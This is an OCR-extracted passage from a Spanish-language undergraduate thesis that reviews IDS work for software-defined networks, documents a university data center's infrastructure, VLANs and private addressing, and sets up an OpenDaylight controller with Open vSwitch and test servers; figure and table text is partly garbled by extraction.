una notificacion al controlador de la SDN del ataque suscitado, logrando mitigar los
impactos negativos que se presenten en el rendimiento de la red. Con esta propuesta los
autores manifiestan que descargan algunas decisiones de reenvio de informacion al
controlado de la SDN. La Figura 21 describe la arquitectura propuesta en este trabajo,

ubicando al IDS entre el controlador de la SDN y las redes externas (Internet).

] Controller ‘

X Alert Event

Rule Update IDS

)

Network Traffic

N~ Network

Figura 21. Arquitectura del IDS aplicado a controlador de SDN.
Fuente: (Manso et al., 2019)
El segundo trabajo pertenece a Reddy & Annapurani Panaiyappan (2018) y
propone la integracion de un IDS/IPS con el proposito de proteger al controlador de la

SDN vya que debido al disefio centralizado que posee, convierte al controlador en el
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elemento mas importante de la red, exponiéndolo a ataques de personas mal
intencionadas. Al igual que el anterior trabajo, este también fue probados con ataques de
tipos DDoS. La Figura 22 presenta la arquitectura disefiada para el trabajo mencionado

en este acapite.

CONTROLADOR

SISTEMA DE
PREVENCION Y
DETECCION DE

INTRUSOS

~ ™

Fo

C OpenFlow

SERVIDORES:
DHCP, DNS, HTTP...

s 3

ATAQUES
DoS

CLIENTE
(ATACANTE)

Figura 22. Arquitectura de IDS/IPS aplicado a controlador SDN.
Fuente: (Reddy & Annapurani Panaiyappan, 2018)

El trabajo que se menciona a continuacion es de Varanasi & Razia (2019) y a
diferencia de los anteriores, aqui proponen un analisis de varios trabajos que relacionan
al IDS con el aprendizaje automatico, para este aprendizaje automatico se emplean las
técnicas de Machine Learning y Deep Learning; logrando demostrar que el IDS puede
detectar un ataque basado en los datasets que cada técnica use para su aprendizaje,
evitando que usuarios externos deban configurar el sistema cada vez que se integre un
nuevo elemento a la red. CIDDS-001 es uno de los datasets usados en este analisis y su

esquema se lo puede apreciar en la Figura 23 junto con las categorias que lo conforman.
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Normal
Sospechoso
CJZSEE;SSL{;” Desconocido
Atacante
Victima

Figura 23. Esquema de dataset CIDDS-001.
Fuente: Adaptado de (Varanasi & Razia, 2019)

Finalmente, el trabajo de Sultana, Chilamkurti, Peng, & Alhadad (2019) presenta
un analisis del disefio de una SDN con un enfoque a la seguridad de la misma, en esta
area evallan técnicas de Deep Learning para el desarrollo de una IDS, concluyendo que
el disefio de este tipo de IDS no ha sido probado en infraestructuras con alta velocidad
puesto que eso es el futuro que se encuentra tomando estos sistemas con aprendizaje

automatico. EI modelo citado en este trabajo se encuentra en la Figura 24.

Controller
NIDS

(Server Software)

b o | Open Flow Switch I | Open Flow Switch ]

Internet Firewall

Figura 24. Modelo de DS con deep learning aplicado a SDN.
Fuente: (Sultana et al., 2019)
Basado en los trabajos citados se determina que, dentro de los elementos de la
SDN el més importante y vulnerable es el controlador, para ellos se presenta al IDS como

una alternativa de proteccion ante ataques informaticos. Mencionando también que este
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sistema puede ser optimizado con la ayuda de una red neuronal artificial ya que permite
un aprendizaje automaticamente evitando que usuarios configuren constantemente las
reglas de control bajo las cuales se administra al IDS. Por estos motivos es que esta tesina
propone el disefio de un IDS con red neuronal artificial para la proteccién del controlador

en una SDN, mismo que genera alertas en cuanto se detecte anomalias en dicha red.

50



o1

CAPITULO 3.

SITUACION ACTUAL Y DISENO DE SDN

Este apartado se enfoca en la situacion actual que se encuentra el Data Center de
la Facultad de Ingenieria en Ciencias Aplicadas, incluyendo los servicios y topologias
que lo conforman, ademas se presenta el escenario de la Red Definida por Software
(SDN) que sera disefiado con el fin de permitir las pruebas para Sistema de Deteccion de

Intrusos (IDS).
3.1. Analisis situacién actual Data Center

La Facultad de Ingenieria en Ciencias Aplicadas (FICA) dispone de un data center
totalmente equipado, mismo que tiene como objetivo brindar una comunicacion adecuada
en toda la facultad, tanto hacia internet como a los servicios con los que cuenta, este lugar

se encuentra debidamente ambientado y con sus respectivos niveles de seguridad.
3.1.1. Ubicacion del Data Center.

El Data Center se encuentra ubicado dentro de la oficina de la Carrera de
Ingenieria en Telecomunicaciones (CITEL), esta en la planta baja de la FICA; la Figura
25 presenta un diagrama de la infraestructura actual del data center, ademas indica sus
dimensiones fisicas, que en este caso son 2,85m de longitud por 3m de ancho, dando un

area total de 8,55m2 (Narvéez, 2016).
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Figura 25. Infraestructura del Data Center FICA
Fuente: Adaptado de (Guerrero, 2019)
Los sistemas que compone el data center de la FICA se mencionan en los
siguientes apartados, siendo estos: sistema eléctrico, sistema de control de acceso, sistema

de aire acondicionado, sistema de seguridad y sistema de telecomunicaciones.
3.1.2. Sistema eléctrico.

El sistema eléctrico tiene como funcion brindar un suministro eléctrico al data
center, el recorrido de la acometida eléctrica inicia desde el transformador que se
encuentra frente al gimnasio de la universidad, hasta la caja de revision ubicada en la
parte externa de la FICA, realizando un recorrido subterraneo, para posteriormente
conectarse al tablero eléctrico general, mismo que esta ubicado en la parte interna del data
center. Este tablero eléctrico se muestra en la Figura 26, siendo asi la parte fundamental
de lainstalacién eléctrica, ya que es aqui donde llega la acometida externa. Ademas, dicho

tablero se encuentra conectado a un Sistema de Alimentacion Ininterrumpida (UPS).
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Figura 26. Fotografia del tablero eléctrico

Figura 27. Fotografia del UPS

El UPS que se muestra en la Figura 27, ademas de estar conectado al tablero
eléctrico, también se conecta con el sistema de control de acceso y aire acondicionado,
con el fin de que en el caso de haber algun fallo, este pueda suministrar electricidad por
un tiempo determinado; otra funcién que cumple el UPS es proteger a los circuitos

eléctricos de cambios bruscos de energia.
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3.1.3. Sistema de control de acceso.

El acceso hacia el Data Center debe ser restringido, por este motivo es que se ha
implementado un sistema de control de acceso, mismo que es manejado a traves de un

mecanismo de huella (biométrico) como se muestra en la Figura 28.

Este sistema también estd compuesto por una puerta de seguridad metalica, la cual
le permite resistir rayones y golpes, esta puerta tiene un disefio hermético con el fin de
evitar fugas de aire refrigerado. A parte de lo ya mencionado, también tiene una barra

anti-panico y cerradura electromagnética.

Figura 28. Fotografia del biométrico

3.1.4. Sistema de aire acondicionado.

Tal como afirma Jacome (2019), el sistema de aire acondicionado de la Figura 29
es del tipo “split” o también conocido como “conford”, ya que debido a las dimensiones
que posee el data center es el mas adecuado para mantener las condiciones ambientales

de los equipos de comunicacion que se encuentran en su interior.
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4 ———

Figura 29. Fotografia del sistema de aire acondicionado

3.1.5. Sistema de telecomunicaciones.

El data center en la Facultad de Ingenieria en Ciencias Aplicadas tiene como
objetivo alojar equipos TIC, ademas de funcionar como red de redundancia para el anillo
de fibra que posee la Universidad Técnica del Norte, siendo estos equipos ubicados en el
Rack 1. La Figura 30 muestra la distribucién de los equipos TIC con los que cuenta el
data center, dando un total de 3 Rack; a continuacion se puntualizan los equipos con los

que estan conformados cada uno de estos.

El Rack 1 cuenta con un switch capa tres, mismo que es usado como equipo de
borde para la conexion del data center con el edificio central y hacia Internet, a través de
dos cables de fibra 6ptica. Mientras que el Rack 2 es en donde se ubican cuatro servidores
denominados Proxmox Virtual (PV), sin embargo, Unicamente tres (PV1, PV2 y PV3)
brindan la infraestructura fisica para virtualizar equipos, el software usado para hacer
posible este proceso se denomina Proxmox. Ademas en este mismo rack hay un servidor
Radius, tres servidores que pertenecen a la Carrera de Ingenieria en Sistemas
Computacionales (CISIC), un switch 3Com 4500G administrable y un router Mikrotik
que permite la administracion de la red inaldmbrica. Finalmente, en el Rack3 se

encuentran alojados un switch QPcom y 4 servidores, estos ultimos son dedicados para
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servicios administrativos y educativos dirigidos a docentes y estudiantes, estos servidores

son: Opina, Reactivos, Biométricos y Revista Universitaria.
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Figura 30. Sistema de Telecomunicaciones Data Center — FICA

Fuente: Adaptado de (Jacome, 2019)

3.2. Administracion del data center
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Para que el data center funcione de una manera eficiente debe existir una debida

documentacién de como se encuentra administrada la red, de manera similar a lo que

presentan Guerrero (2019) & Jacome (2019) sus trabajos de titulacion. Es asi como se

presentan topologias tanto fisicas como logica, mismas que se especifican en las secciones

3.2.1y 3.2.2. Estas topologias permiten conocer la distribucion de los equipos TIC y los

segmentos de red que dispone, esto de manera gréafica.
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Ademas es necesario mencionar que con las topologias se observan posibles
puntos de vulnerabilidad que tiene la red en cuanto a su seguridad, permitiendo asi
establecer normativas de seguridad ya que actualmente no se cuenta con alguna, sin
embargo, recientemente se realizd un trabajo de titulacion, el cual propone un plan
dirigido a la gestion de riesgos de la informacion, ademas establece ciertas politicas de
seguridad para el data center en la FICA, este plan se basa en la Metodologia MAGERIT
v3.0 (Jacome, 2019), no obstante este plan ain no se lo ha implementado y sus politicas

no han sido socializadas.
3.2.1. Topologia fisica.

En la Figura 31 se exhibe la topologia fisica del data center, la cual posee conexion
a Internet y servicios, ambos a traves de un enlace de fibra Optica que va desde la
Direccion de Desarrollo Tecnologico e Informatico (DDTI), para posteriormente terminar

en el switch de core Catalyst 4506-E.

La red implementada internamente en la FICA se encuentra segmentada

fisicamente en tres partes, cada uno de estos segmentos se puntualizan a continuacion:

El primer segmento va desde el puerto 28 en el switch de core Catalyst 4506-E
mencionado anteriormente hasta el switch 3Com 3226. Esta conexién permite el acceso

a ciertos servidores, tales como; Opina, Biométrico, Reactivos y Revista Universitaria

En tanto que el segundo segmento conecta el puerto 27 del switch de core Catalyst
4506-E con un switch LinkSys SR224G, la funcién de esta conexion es permitir la
comunicacion de los tres servidores que administra la Carrera de Ingenieria en Sistemas

Computacionales (CISIC).

Por ultimo, el tercer segmento brinda una conexion a la red inalambrica que posee

la FICA vy a la infraestructura virtualizada Proxmox, éste empieza en el puerto 30 del
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switch Catalyst 4506-E y conecta a un equipo Mikrotik RouterBoard 1100, mismo que se
encarga del enrutamiento del trafico, este Gltimo a su vez va conectado a un switch 3Com
4500G en el cual se encuentran enlazado: un switch QPCom QP-1240R y a la
infraestructura hiperconvergente de Proxmox; el primero tiene la funcion de mantener
conectados a los puntos de acceso (A.P.) que se ubican en toda la FICA, ademas este
switch permite la comunicacion con el servidor Radius, por otro lado la infraestructura

de Proxmox se administra a través de los servidores PV1, PV2y PV3.
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Figura 31. Topologia fisica del Data Center

Fuente: Adaptado de (Jacome, 2019)

58



59
3.2.2. Topologia logica.

La topologia légica, como su nombre lo dice, se centra en la distribucidn logica
de la red, misma que se conforma por VLANSs o segmentos de red con una finalidad
especifica. La Figura 32 grafica la topologia en mencion incluyendo las diferentes

VLANS que se encuentran configuradas dentro de la misma.
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Figura 32. Topologia Logica del Data Center

Fuente: Adaptado de (Guerrero, 2019)

La Tabla 9 menciona las siete VLANS que se encuentran configuradas dentro del
switch 3Com 4500G incluyendo una descripcidn del uso que tiene cada una de ellas,

ademas del nimero y nombre con las que son identificadas en la topologia ldgica.
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Tabla 9

VLAN'’s del Data Center

60

VLAN Nombre Descripcion
VLAN 2 ENLACE_RED_ANTIGUA Migracion de servidores DDTI
VLAN 3 VLAN_SERV_PROXMOX Servidores fisicos de Proxmox
VLAN4  VLAN ILO SERV PROXMOX ~‘dministracion remota de
- = - servidores Proxmox
VLAN 5 VLAN SERV VIRTUAL Servidores virtualizados en
- - Proxmox
VLAN 6 STORAGE CEHP Conecta_el almacenamiento
- compartido
VLAN 7 VLAN WIEI ADMIN Administra la red inalambrica
- - en la FICA.
VLAN 100 TO MIKROTIK Indica red interna de Data

Center.

Fuente: Data Center FICA

De la misma manera que hay una distribucion de las VLAN’s, también existe una

distribucién de direccionamiento IPv4, estas direcciones se ubican en la Tabla 10,

especificando su VLAN y el equipo al que corresponde cada una. Ademas, es importante

de claro que el presente direccionamiento IPv4 corresponde Unicamente a la red interna

que conforma el data Center de la FICA.
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Tabla 10

Direccionamiento 1Pv4 del Data Center

VLAN  EQUIPO SUBRED IP GATEWAY  MASCARA
N OPINA 10.24.8.x
5 Revista 10.24.8.x
Q Universitaria
_ 10.24.8.x
Reactivos 10.24.8
i Atri 24.0.X
VLAN  Biometricos 1,549 10.24.8.254  255.255.255.0
DDTI CcISIC 1 10.24.8.x
cIsIC 2 10.24.8.x
% CISIC 3 10.24.8.x
X
Migracion
2 Servidores 10.0.4.0 10.0.4.x 10.0.4.254 255.255.255.0
VLAN DDTI
PV1 10.0.0.1
PV2 10.0.0.2
3 10.0.0.0 10.0.0.254 255.255.255.0
PV3 10.0.0.3
PV4 10.0.0.4
iLO PV1 10.0.1.1
4 iLO PV2 10.0.1.0 10.0.1.2 10.0.1.254 255.255.255.0
0 iLO PV3 10.0.1.3
o
[Te)
<t i i
E 5 Mag.Virtuales 5 10.0.2.x 10.0.2.254 255.255.255.0
O (VM)
o
CEHP PV1 10.0.3.1
CEHP PV?2 10.0.3.2
6 10.0.3.0 10.0.3.254 255.255.255.0
CEHP PV3 10.0.3.3
CEHP PV4 10.0.3.4
QPcom 192.168.35.x
7 Radius 192.168.35.0 192.168.35.x 192.168.35.1  255.255.255.0
AP’s 192.168.35.x
100 MikroTik 192.168.0.0 192.168.0.x  192.168.0.254 255.255.255.0

Fuente: (Jacome, 2019)

61

61



62

3.3. Servidores Data Center

En el Data Center FICA se encuentran implementados varios servidores de
aplicacion basados en las necesidades de los usuarios, que ademas de permitir el acceso
a la red inalambrica, los restringe de usuarios no autorizados. Los servidores que se
encuentran implementados actualmente son: Proxmox, Radius, Opina, Reactivos, Revista
Universitaria y Control de Acceso Biométrico, mismos que son puntualizados en los

siguientes acapites.

e Servidor Proxmox

La plataforma de Proxmox es completamente de cddigo abierto en cuanto a
virtualizacion empresarial respecta (Proxmox, 2019); en el Data Center se encuentran
cuatro servidores, mismos que permiten tanto el despliegue como la gestién de
maquinas virtuales, presentando algunas ventajas como: el migrar servidores fisicos,

obtener copias de seguridad y brindar alta disponibilidad; todo esto dirigido a la red.

e Servidor Radius

Radius son siglas que en inglés significan Remote Authentication Dial-In User
Service y es un servidor que tiene como objetivo el verificar la autenticidad de los
usuarios para asi permitirles el acceso a la red. Este servidor usa un protocolo basado
en un modelo de cliente-servidor, esto quiere decir que los usuarios deben tener las

credenciales correctas para conectarse con el servidor.

e Servidor Opina
La funcion del servidor Opina es la de modelar encuestas, sin importar el sitio,
siempre y cuando tenga acceso a internet. En este caso los usuarios que se benefician

de estas encuestas son los docentes y estudiantes de la FICA.

e Servidor de Reactivos
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El servidor de Reactivo se encarga de gestionar los contenidos, mismos que esta
orientados al &mbito educativo, a fin de que se pueda; descargar, visualizar e incluso

interactuar con las actividades que el administrador proponga.

e Servidor Revista Universitaria

La plataforma Open Journal System (OJS) es la que ayuda en el funcionamiento del
servidor de la Revista Universitaria, que como su nombre lo dice, es un sistema que
permite la Administracion y Publicacion de documentos especiales como; revistas o
periddicos (Seriadas), todo esto en Internet. Aparte de ello el sistema brinda un
manejo eficiente y unificado sobre el proceso editorial, con el propésito de acelerar la

difusion en los contenidos e investigacion elaborados por la Universidad.

e Servidor de Control de Acceso Biométrico

Dentro del servidor Biométrico se almacenan cierta informacion de los docentes como
por ejemplo; la huella dactilar, nombres y apellidos, entre otros; para posteriormente
almacenar esta informacién en forma de bases de datos; lo hace con el fin de realizar
un registro de los horarios de cada uno, tanto de entrada como salida, ademas de ser
utilizado como medio de autenticacion para el ingreso a los diferentes lugares

(laboratorios, aulas y oficinas) que se encuentran en la FICA.

3.4. Disefio de la Red Definida por Software

Para la implementacién de la Red Definida por Software (SDN) hace falta una

plataforma que sirva como infraestructura de hardware base para que apalangue las capas

gue componen una SDN (Capa de Aplicacion, Capa de Control, Capa de Infraestructura),

en el presente trabajo se usé la infraestructura hiperconvergente que proponen en la

investigacion de Dominguez et al. (2020), puesto que en ella se permite la virtualizacion
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de otras infraestructuras como es el caso de la SDN, dicha infraestructura se encuentra

implementada en los servidores proxmox (PV1, PV2y PV3) del data center.

Una vez establecida la infraestructura fisica ya es posible la implementacion de
cada una de las capas que componen la SDN, empezando por la mas importante, la capa
de control, a esta le sigue la capa de Aplicacion y finalmente la capa de infraestructura.
A continuacion, y en este orden se especifica el proceso que se toma para cada una de las

capas.

a. Capa de control
Como se menciond en la seccion 2.1.4 existen diversos fabricantes en lo que a
controladores SDN se refiere, por este motivo la Tabla 11 presenta una comparacion entre
los controladores citados en el capitulo dos; a los cuales se les da una calificacion con
puntos que van entre 0 y 1, en el cual, 0 significa que no cumple con el parametro
mencionado y 1 significa que si cumple con dicho parametro. Al final, el controlador que

tenga mayor cantidad de puntos sera el mas idoneo a usar para la presente propuesta.

Los parametros a tomar en cuenta son: Soporte openflow, soporte de plataformas,
codigo abierto, API REST, interfaz web y documentacién. Cada uno de los parametros

mencionados se los describe a continuacion:

e Soporte openflow, hace referencia a que el controlador debe soportar este
protocolo para la comunicacion con la capa de infraestructura.

e Soporte de plataformas, quiere decir que el controlador permita su
implementacidn tanto en un sistema operativo libre como en uno comercial.

e Cadigo abierto, se lo toma en cuenta ya que de este modo el administrador de la

red tiene mayor libertad en cuanto a la configuracion del controlador.
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e APIREST, permite al controlador generar u obtener datos en otros formatos como:
XML 0 JSON, todo esto mediante sistemas que usen HTTP para su comunicacion.

e Interfaz web, evita que los encargados de la SDN usen constantemente comandos
para su administracion, ademas que la interfaz permite a la AP1 REST ejecutar su
funcion.

e Finalmente, documentacién, para que un controlador sea mas sencillo de operar
este debe disponer de una amplia documentacion con el proposito de solucionar

de una manera mas eficiente posibles fallos en la SDN.

Tabla 11

Seleccién de controlador SDN

Criterios\Controladores ODL ONOS Floodlight RYU FAUCET

Soporte OpenFlow 1 1 1 1 1
Soporte de plataformas 1 0 1 0 0
Cddigo abierto 1 1 1 1 1
APl REST 1 1 1 0 0
Interfaz web 1 1 1 1 1
Documentacion 1 0 0 1 0
Total de puntos 6 4 5 4 3

Fuente: Autoria propia

Con un total de seis puntos, el controlador ODL cumple con todos los parametros
necesarios para el disefio de la SDN, por lo cual sera implementado en una maquina

virtual dentro la infraestructura hiperconvergente.

b. Capa de aplicacién
La capa de aplicacion no implica configuracién alguna aparte de instalar en la
misma maquina virtual del controlador ODL los médulos de la interfaz web y APl REST

que este dispone, permitiendo su administracion de acuerdo con las necesidades que
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presenten los usuarios en la SDN, como; la convergencia con nuevas redes,
implementacién de servidores, bloqueo de interfaces, entre otras necesidades que se

puedan suscitar.

c. Capa de Infraestructura

La capa de infraestructura garantiza la interaccion entre usuarios finales y
servidores implementados en la SDN, para que esto suceda se necesitan dispositivos de
red compatibles con el protocolo que usa el controlador ODL; en este caso openflow. De
momento los dispositivos de red fisicos que conforman la infraestructura del data center
en la FICA no soportan el protocolo openflow, por lo tanto se configura el software Open
Virtual Switch (OVS) en una maquina virtual creada dentro de la infraestructura
hiperconvergente, cumpliendo la misma funcién de un switch fisico, con la diferencia de

que OVS gestiona las tablas de flujos utilizadas por openflow.

SERVIDOR PV2 PROXMOX CAPAS SDN

Maquina virtual para:
- Inter faz web
- APIREST

Interfaz virtual E thernet

A

v CAPA DE APLICACION
E— Interfaz virtual eth 0
Magquina virtual para:
Y Y - Open Virtual Switch OVS
Bridge vinbr0 Interfaz virtual eth1
Interfaz virtual ovs-br0
t \ L} CAPADE
INFRAESTRUCTURA
Y
Interfaz virtual eth0
Magquina virtual para:
- Servicios de SDN

R

eno 3 ‘ euo4‘

enol | eno2

Figura 33. Disefio de SDN en servidor PV2

Fuente: Autoria propia
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La Figura 33 muestra el disefio propuesto, precisando su implementacion en el
servidor fisico PV2 de la infraestructura hiperconvergente citada al inicio de esta seccion,
ademas, sefiala las maquinas virtuales creadas y conexiones entre interfaces virtuales
desde la capa de control hasta la capa de infraestructura y todas estas a su vez con el PV2;

a continuacion se aclara el proceso llevado a cabo en cada capa.
3.5. Implementacion de la Red Definida por Software

La implementacion de la SDN empieza por la capa de control puesto que es la
parte esencial en este tipo de red y basado en el disefio de la seccién 3.4, el software
escogido es Opendaylight (ODL). ODL es una infraestructura con algunos beneficios para
el despliegue de SDN, entre ellos estan: alta disponibilidad, escalabilidad, multi-

protocolos, entre otros (OpenDaylight, 2019).

ODL se instala dentro de una maquina virtual (VM) con sistema operativo
Windows, la cual esta creada en el servidor fisico PV2 de la infraestructura
hiperconvergente, los requerimientos de esta maquina, tanto en hardware como software
se especifican en la Tabla 12, teniendo en cuenta que hubo un incremento en el espacio
de almacenamiento en disco duro (HDD) aparte de lo recomendado por OnApp (2020),
con el proposito de que el administrador tenga libertad de agregar aplicaciones extras en

el servidor. El proceso de instalacion se detalla en el Anexo 1.

Tabla 12

Caracteristicas de Maquina Virtual

., Hardware Hardware
Software Version ]
recomendado configurado
Windows .
de 64 bits 8 GB RAM 8 GB RAM

Opendaylight  Beryllium SR4

Fuente: Adaptado de (OnApp, 2020)
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A continuacion se instala los modulos principales que necesita el controlador para

establecer la comunicacion con las demés capas de la SDN, dichos modulos se definen

en la Tabla 13.

Tabla 13
Médulos de ODL

NOMBRE DESCRIPCION COMANDO
DLUX Proporciona una interfaz gréfica de usuario intuitiva odl-dlux-all
para OpenDaylight.
Proporciona reenvio L2 (Ethernet) a través de
Switch L2 conmutadores OpenFlow conectados y soporte para odl-12switch-switch
seguimiento de host.
Soporte Permite el acceso de la APl REST a MD-SAL, incluido odl-restconf
RESTCONF APl el almacén de datos.
. Conjunto de servicios de infraestructura destinados a
Model-Driven

SAL (MD-SAL)

proporcionar soporte comdn y genérico a los
desarrolladores de aplicaciones y complementos.

odl-mdsal-apidocs

OpenFlow Plugin

Interfaz de comunicaciones estandar para permitir la
interaccion entre las capas de una arquitectura SDN.

odl-openflowplugin-all

Fuente: Adaptado de (OpenDaylight Project, 2016)

Una vez finalizada la instalacién de los médulos principales, tanto la interfaz web

como la API REST que forman parte de la capa de aplicacion estan disponibles para

administrar el controlador, tal como se exhibe en la Figura 34. EL objetivo de la interfaz

web es visualizar la topologia que ODL detecta automaticamente a partir de la

informacion que los dispositivos de red envian mediante el puerto 6653, mientras que la

API REST gestiona la comunicacién de la capa de control con la capa de infraestructura.
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@ OpenDaylight Dlux X + - x
<« C @ localhost:8080/index.html#/topclogy B a % 6 :

- OPEN

S, Topology

% Topology
Controls

Reload

Figura 34. Interfaz Grafica de ODL
Fuente: Autoria propia
Finalmente, la capa de infraestructura de la SDN usa a Open vSwtich (OVS) como
switch virtual para el propdsito ya citado en el apartado c¢ de la seccién 3.4, mismo que se
implementa en otra VM con sistema operativo Centos creada en el PV2 de la red
hiperconvergente, esta maquina debe contar con los requerimientos sefialados en la Tabla
14. Cabe aclarar que estos requerimientos son mayores a los sugeridos por CentOS (2020)
puesto que se espera que el trafico de toda la SDN atraviese el OVS sin ningun
inconveniente y la documentacion de OV'S no especifica este tipo requerimientos para su

ejecucion. EI Anexo 2 contiene el procedimiento completo de su instalacion.

Tabla 14

Caracteristicas de Maquina Virtual para OVS

Software Versién Hardvx_/are Hafdware
sugerido configurado
20 GB HDD 100 GB HDD
Centos 7 de 64 bits
1 GB RAM 4 GB RAM

Fuente: Adaptado de (CentQOS, 2020)
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Con el OVS implementado, lo siguiente es conectarlo al controlador para que la

SDN funcioné, con la comunicacion ya establecida los paquetes openflow se transmiten

por lared. La comunicacion se verifica de dos formas, la primera es observar los pagquetes

openflow a través de un sniffer, la Figura 35 muestra este proceso en el sniffer

denominado wireshark.

M Ethernet — x
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools  Help
Admie DRE Qe2=F a5Elaaan
[ Jopenfiow_va [X] ~ | Expression...  +
Mo. Time: Source Destination Protocol Length Info ~
164 3.933760 192.168.100.110 192.168.108.111 OpenFlow 62 Type: OFPT_HELLO |
185 8.939645 192.168.106.111 192.168.166.110 OpenFlow 78 Type: OFPT_FEATURES_REQUEST
187 8.939969 192.168.186.118 192.168.1868.111 OpenFlow 86 Type: OFPT_FEATURES_REPLY
168 3.952564 192.168.106.111 192.168.100.110 OpenFlow 78 Type: OFPT_ROLE_REQUEST
169 8.952823 192.168.168.111 192.168.168.110 OpenFlow 62 Type: OFPT_BARRIER REQUEST
118 8.952889 192.168.166.110 192.168.1686.111 OpenFlow 78 Type: OFPT_ROLE_REPLY
111 8.953@86 192.168.106.110 192.168.108.111 OpenFlow 62 Type: OFPT_BARRIER_REPLY
113 8.953255 192.168.1686.111 192.168.1686.1108 OpenFlow 78 Type: OFPT_ROLE_REQUEST
114 8.953413 192.168.106.111 192.168.100.110 OpenFlow 62 Type: OFPT_BARRIER_REQUEST
115 3.953450 192.168.166.110 192.168.108.111 OpenFlow 78 Type: OFPT_ROLE_REPLY
116 8.953647 192.168.186.118 192.168.1868.111 OpenFlow 62 Type: OFPT_BARRIER_REPLY
118 3.954870 192.168.106.111 192.168.100.110 OpenFlow 7@ Type: OFPT_MULTIPART_REQUEST, OFPMP_TABLE_FEATURES hd
Frame 11@: 78 bytes on wire (624 bits), 78 bytes captured (624 bits) on interface @ ~
Ethernet II, Src: e6:85:3b:8b:bd:4a (e6:85:3b:8b:bd:4a), Dst: c6:9@:67:3@:bB:58 (c6:9@:6T:3@:b8:55)
Internet Protocol Version 4, Src: 192.168.186.118, Dst: 192.168.186.111
Transmission Control Protocol, Src Port: 49114 (49114), Dst Port: 6653 (6653), Seq: 41, Ack: 49, Len: 24
v OpenFlow 1.3
Version: 1.3 (@x@4)
Type: OFPT_ROLE_REPLY (25)
Length: 24
Transaction ID: 1
Role: OFPCR_ROLE_EQUAL (8x@0888881)
Pad: p@e08888
Generation ID: 2 v

Figura 35. Paquetes openflow capturados por wireshark

Fuente: Autoria propia

Una segunda forma de verificar que la comunicacion se ha establecido de forma

correcta es en la interfaz web del controlador puesto que ahi se crea una topologia de la

red, tal como lo indica la Figura 36.
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@ CpenDaylight Dlux % + = K
& C @ localhost:8080/index.htmi#/topology B a #« 6 :

3 CPEN QO Topology

% Topology

Controls

openflow:191495286137523

Figura 36. OVS detectado por controlador SDN

Fuente: Autoria propia
3.5.1. Disefio del escenario de pruebas SDN.

Con la infraestructura SDN implementada, para el escenario de pruebas se
necesita instalar servidores: web, transferencia de archivos (FTP) y moodle a la SDN para
posteriormente integrar el sistema de deteccion de intrusos con redes neuronales a esta
red. De modo que para existir convergencia en dicho escenario hace falta un

direccionamiento IPv4, mismo que se encuentra en la Tabla 15.

Tabla 15

Direccionamiento IPv4 de la SDN

I_\Iomt_>r_e IP Submascara de Puerta de enlace
Dispositivo red
ODL 192.168.100.111 255.255.255.0 192.168.100.110
192.168.100.110 255.255.255.0 192.168.100.100
oVS
192.168.150.10 255.255.255.0
Servidor Web 192.168.150.11 255.255.255.0 192.168.150.10
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Servidor FTP 192.168.150.12 255.255.255.0 192.168.150.10

Plataforma Moodle 192.168.150.13 255.255.255.0 192.168.150.10

Fuente: Autoria propia

La Figura 37 representa una topologia l6gica de como se conecta cada dispositivo
que compone el escenario de pruebas SDN, entre ellos se incluyen al controlador ODL,

al OVSy los servidores ya citados.

0DL: Controlador SDN
0VS: Switch virtual

SRV: Servidor I \
‘ I
ODL : of 192.168.100.111/24
=
[ S—

192.168.150.10 /24

SRV WEB SRV FTP MOODLE

192.168.150.11 /24 192.168.150.12 /24 192.168.150.13 /24
Figura 37. Topologia logica del escenario SDN

Fuente: Autoria propia
3.5.2. Implementacion de servidores.

Para la implementacion de los servidores hacen falta maquinas virtuales que
alberguen cada servicio, las cuales se alojan en el PV2 de la infraestructura
hiperconvergente para posteriormente pasar a pertenecer a la SDN, la Tabla 16 indica los
requerimientos en hardware y software con los que cuentan que cada maquina virtual,
mismos que se basan en CentOS (2020), quien da a conocer los requerimientos minimos
en hardware que necesita CentOS 7 para la ejecucion de cada uno de los servicios

mencionados al inicio de la seccion 3.5.1. No obstante, estos requerimientos poseen una
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variacion a la recomendada, con el propdsito de que no presenten problemas en caso de
haber crecimiento en la SDN.

Tabla 16

Requisitos de maquinas virtuales para servidores

. ., Hardware Hardware
Servicio Software Version )
recomendado configurado
) 20 GB HDD 40 GB HDD
Web Centos 7 de 64 bits
1 GB RAM 2 GB RAM
) 20 GB HDD 40 GB HDD
FTP Centos 7 de 64 bits
1 GB RAM 2 GB RAM
) 20 GB HDD 60 GB HDD
Moodle Centos 7 de 64 bits

1 GB RAM 6 GB RAM

Fuente: Adaptado de (CentOS, 2020)

Una vez creadas las maquinas virtuales, se implementa cada uno los servicios
anteriormente mencionados, los cuales son tratados de manera individual en los siguientes

literales.

a. Servidor Web

Un servidor web tiene como objetivo, la gestion de una aplicacion entre servidor
y cliente, el codigo que recibe el segundo por lo general es interpretado por un Navegador
Web. Esta transmision puede ser mediante dos protocolos, uno es el Protocolo de
Transferencia de Hipertexto (HTTP), mismo que trabaja en el puerto 80 y el segundo es
el Protocolo Seguro de Transferencia de Hipertexto (HTTPS) que trabaja en el puerto
443; la diferencia que existe entre ambos es el nivel de seguridad al momento de la
comunicacion, puesto que HTTPS usa Protocolo de Capa de Conexién Segura (SSL) o
Seguridad de la Capa Transporte (TLS) para brindar una mejor confianza en la
transferencia de datos, al contrario de HTTP que transmite los datos en texto plano, es

decir, sin ningln tipo de seguridad.
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En cuanto a la aplicacion que se instala en el servidor web, es Apache, puesto que
segun EI computador 2020 (2020) se encuentra entre las méas usadas en los sistemas
operativos Linux. El proceso de instalacion completo de este servidor se explica en el

Anexo 3.1.

Tan pronto como la instalacion haya finalizado se realiza una prueba de
funcionamiento con cualquier navegador de un dispositivo (computador, celular, Tablet,
entre otros) que se encuentre en la misma red que el servidor web, basta con escribir la IP
del servidor en la barra de busqueda; la prueba de funcionamiento de dicho servidor se

encuentra en la Figura 38.

I 192.168.150.11 ®x +

< C 2| A 192168150.11

SISTEMA DE DETECCION DE INTRUSOS
BASADO EN REDES NEURONALES

Nicolalde Willams

FICA-UTN

Figura 38. Test de funcionamiento servidor web
Fuente: Autoria propia
b. Servidor FTP
El servidor FTP tiene como funcion, la transferencia de archivos entre dispositivos
que se encuentren conectados a una red de tipo TCP/IP, ademas trabaja en un modelo
cliente-servidor, este servidor usa dos puertos de red para su funcionamiento, el puerto
20 lo hace para la transferencia de datos y el puerto 21 para el control, el proceso descrito

es graficado en la Figura 39.
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Interface con el n n
usLario *
USUARIO
SERVIDOR Cnnexinnl de
Interprete de F?T:m i Interprete de
Protocolo (PI) prdenes Protacolo (PI)
